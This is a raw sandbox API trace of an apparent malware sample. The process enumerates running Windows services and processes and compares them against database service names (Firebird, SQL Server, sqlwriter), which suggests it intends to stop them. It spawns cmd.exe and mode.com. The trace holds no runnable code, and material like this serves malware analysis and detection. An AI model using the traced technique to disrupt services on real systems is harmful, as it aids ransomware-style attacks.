	[0164.545] lstrlenW (lpString="NlaSvc") returned 6
	[0164.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0164.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0164.545] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0164.545] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0164.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0164.545] lstrlenW (lpString="nsi") returned 3
	[0164.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0164.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0164.545] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0164.545] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0164.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0164.545] lstrlenW (lpString="PcaSvc") returned 6
	[0164.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0164.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0164.545] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0164.545] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0164.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0164.545] lstrlenW (lpString="PlugPlay") returned 8
	[0164.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0164.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0164.546] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0164.546] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0164.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0164.546] lstrlenW (lpString="Power") returned 5
	[0164.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0164.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0164.546] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0164.546] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0164.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0164.546] lstrlenW (lpString="ProfSvc") returned 7
	[0164.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0164.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0164.546] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0164.546] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0164.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0164.546] lstrlenW (lpString="RpcEptMapper") returned 12
	[0164.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0164.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0164.546] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0164.546] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0164.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0164.546] lstrlenW (lpString="RpcSs") returned 5
	[0164.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0164.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0164.546] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0164.546] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0164.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0164.546] lstrlenW (lpString="SamSs") returned 5
	[0164.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0164.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0164.547] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0164.547] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0164.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0164.547] lstrlenW (lpString="Schedule") returned 8
	[0164.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0164.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0164.547] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0164.547] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0164.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0164.547] lstrlenW (lpString="SecurityHealthService") returned 21
	[0164.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0164.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0164.547] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0164.547] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0164.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0164.547] lstrlenW (lpString="SENS") returned 4
	[0164.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0164.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0164.547] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0164.547] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0164.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0164.547] lstrlenW (lpString="ShellHWDetection") returned 16
	[0164.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0164.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0164.547] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0164.547] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0164.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0164.547] lstrlenW (lpString="Spooler") returned 7
	[0164.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0164.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0164.547] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0164.547] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0164.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0164.547] lstrlenW (lpString="StateRepository") returned 15
	[0164.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0164.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0164.548] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0164.548] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0164.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0164.548] lstrlenW (lpString="SysMain") returned 7
	[0164.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0164.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0164.548] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0164.548] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0164.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0164.548] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0164.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0164.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0164.548] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0164.548] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0164.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0164.548] lstrlenW (lpString="Themes") returned 6
	[0164.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0164.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0164.548] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0164.548] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0164.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0164.548] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0164.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0164.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0164.548] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0164.548] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0164.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1
	[0164.548] lstrlenW (lpString="TimeBrokerSvc") returned 13
	[0164.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0164.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0164.548] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1
	[0164.548] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1
	[0164.549] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40a7680 | out: hHeap=0x710000) returned 1
	[0164.549] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x44c
	[0164.742] Process32FirstW (in: hSnapshot=0x44c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0164.743] Process32NextW (in: hSnapshot=0x44c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0164.743] lstrlenW (lpString="System") returned 6
	[0164.744] Process32NextW (in: hSnapshot=0x44c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0164.744] lstrlenW (lpString="smss.exe") returned 8
	[0164.744] Process32NextW (in: hSnapshot=0x44c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0164.744] lstrlenW (lpString="csrss.exe") returned 9
	[0164.744] Process32NextW (in: hSnapshot=0x44c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0164.745] lstrlenW (lpString="wininit.exe") returned 11
	[0164.745] Process32NextW (in: hSnapshot=0x44c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0164.745] lstrlenW (lpString="csrss.exe") returned 9
	[0164.745] Process32NextW (in: hSnapshot=0x44c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0164.746] lstrlenW (lpString="winlogon.exe") returned 12
	[0164.746] Process32NextW (in: hSnapshot=0x44c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0164.758] lstrlenW (lpString="services.exe") returned 12
	[0164.758] Process32NextW (in: hSnapshot=0x44c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0164.759] lstrlenW (lpString="lsass.exe") returned 9
	[0164.759] Process32NextW (in: hSnapshot=0x44c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0164.759] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0164.759] Process32NextW (in: hSnapshot=0x44c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0164.760] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0164.760] Process32NextW (in: hSnapshot=0x44c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.760] lstrlenW (lpString="svchost.exe") returned 11
	[0164.760] Process32NextW (in: hSnapshot=0x44c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.761] lstrlenW (lpString="svchost.exe") returned 11
	[0164.761] Process32NextW (in: hSnapshot=0x44c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0164.761] lstrlenW (lpString="dwm.exe") returned 7
	[0164.761] Process32NextW (in: hSnapshot=0x44c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x40, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.761] lstrlenW (lpString="svchost.exe") returned 11
	[0164.761] Process32NextW (in: hSnapshot=0x44c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.762] lstrlenW (lpString="svchost.exe") returned 11
	[0164.762] Process32NextW (in: hSnapshot=0x44c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.762] lstrlenW (lpString="svchost.exe") returned 11
	[0164.762] Process32NextW (in: hSnapshot=0x44c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.763] lstrlenW (lpString="svchost.exe") returned 11
	[0164.763] Process32NextW (in: hSnapshot=0x44c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.763] lstrlenW (lpString="svchost.exe") returned 11
	[0164.763] Process32NextW (in: hSnapshot=0x44c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.763] lstrlenW (lpString="svchost.exe") returned 11
	[0164.764] Process32NextW (in: hSnapshot=0x44c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.764] lstrlenW (lpString="svchost.exe") returned 11
	[0164.764] Process32NextW (in: hSnapshot=0x44c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.764] lstrlenW (lpString="svchost.exe") returned 11
	[0164.764] Process32NextW (in: hSnapshot=0x44c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.765] lstrlenW (lpString="svchost.exe") returned 11
	[0164.765] Process32NextW (in: hSnapshot=0x44c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.765] lstrlenW (lpString="svchost.exe") returned 11
	[0164.765] Process32NextW (in: hSnapshot=0x44c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0164.766] lstrlenW (lpString="spoolsv.exe") returned 11
	[0164.766] Process32NextW (in: hSnapshot=0x44c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.766] lstrlenW (lpString="svchost.exe") returned 11
	[0164.766] Process32NextW (in: hSnapshot=0x44c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0164.766] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0164.766] Process32NextW (in: hSnapshot=0x44c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0164.767] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0164.767] Process32NextW (in: hSnapshot=0x44c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0164.767] lstrlenW (lpString="audiodg.exe") returned 11
	[0164.767] Process32NextW (in: hSnapshot=0x44c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0164.768] lstrlenW (lpString="Memory Compression") returned 18
	[0164.768] Process32NextW (in: hSnapshot=0x44c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0164.768] lstrlenW (lpString="taskhostw.exe") returned 13
	[0164.768] Process32NextW (in: hSnapshot=0x44c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0164.769] lstrlenW (lpString="sihost.exe") returned 10
	[0164.769] Process32NextW (in: hSnapshot=0x44c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.769] lstrlenW (lpString="svchost.exe") returned 11
	[0164.769] Process32NextW (in: hSnapshot=0x44c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1
	[0164.770] lstrlenW (lpString="MDMAgent.exe") returned 12
	[0164.770] Process32NextW (in: hSnapshot=0x44c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0164.770] lstrlenW (lpString="taskhostw.exe") returned 13
	[0164.770] Process32NextW (in: hSnapshot=0x44c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x9d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0164.771] lstrlenW (lpString="explorer.exe") returned 12
	[0164.771] Process32NextW (in: hSnapshot=0x44c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0164.771] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0164.771] Process32NextW (in: hSnapshot=0x44c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0164.771] lstrlenW (lpString="SearchUI.exe") returned 12
	[0164.772] Process32NextW (in: hSnapshot=0x44c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0164.772] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0164.772] Process32NextW (in: hSnapshot=0x44c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0164.772] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0164.772] Process32NextW (in: hSnapshot=0x44c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x9e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0164.773] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0164.773] Process32NextW (in: hSnapshot=0x44c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd50, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0164.773] lstrlenW (lpString="cmd.exe") returned 7
	[0164.773] Process32NextW (in: hSnapshot=0x44c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0164.774] lstrlenW (lpString="conhost.exe") returned 11
	[0164.774] Process32NextW (in: hSnapshot=0x44c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0164.774] lstrlenW (lpString="mode.com") returned 8
